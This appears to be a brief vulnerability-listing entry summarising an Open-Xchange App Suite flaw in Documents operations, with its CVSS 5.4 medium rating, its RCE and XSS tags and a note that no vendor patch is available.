Documents operations could be manipulated to contain invalid data types, possibly script code. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

RCE XSS Open Xchange Appsuite
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39150

Related CWEs

MITRE ATT&CK

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